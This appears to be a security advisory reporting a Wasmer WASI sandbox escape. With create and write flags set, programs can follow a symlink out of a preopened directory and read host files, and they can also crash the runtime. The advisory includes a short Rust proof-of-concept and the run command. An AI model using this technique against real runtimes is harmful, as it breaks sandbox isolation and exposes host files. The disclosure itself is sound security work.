Summary

If the preopened directory has a symlink pointing outside, WASI programs can traverse the symlink and access host filesystem if the caller sets both oflags::creat and rights::fd_write. Programs can also crash the runtime by creating a symlink pointing outside with path_symlink and path_opening the link.

Details

PoC

Setup a filesystem as follows.

.
├── outside.file
└── preopen
    └── dir
        └── file -> ../../outside.file

Compile this Rust snippet with wasi v0.11 (for the preview1 API).

fn main() {
    unsafe {
        let filefd = wasi::path_open(
            5,
            wasi::LOOKUPFLAGS_SYMLINK_FOLLOW,
            "app/dir/file",
            wasi::OFLAGS_CREAT,
            wasi::RIGHTS_FD_READ | wasi::RIGHTS_FD_WRITE,
            0,
            0,
        )
        .unwrap();
        eprintln!("filefd: {filefd}");

        let mut buf = [0u8; 10];
        let iovs = [wasi::Iovec {
            buf: buf.as_mut_ptr(),
            buf_len: buf.len(),
        }];

        let read = wasi::fd_read(filefd, &iovs).unwrap();

        eprintln!("read {read}: {}", String::from_utf8_lossy(&buf));
    }
}

Run the compiled binary with Wasmer preopening preopen/:

wasmer run --mapdir /app:preopen a.wasm

This should not print the contents of the outside.file. Other runtimes like Wasmtime can successfully block this call. But Wasmer prints the contents of the file.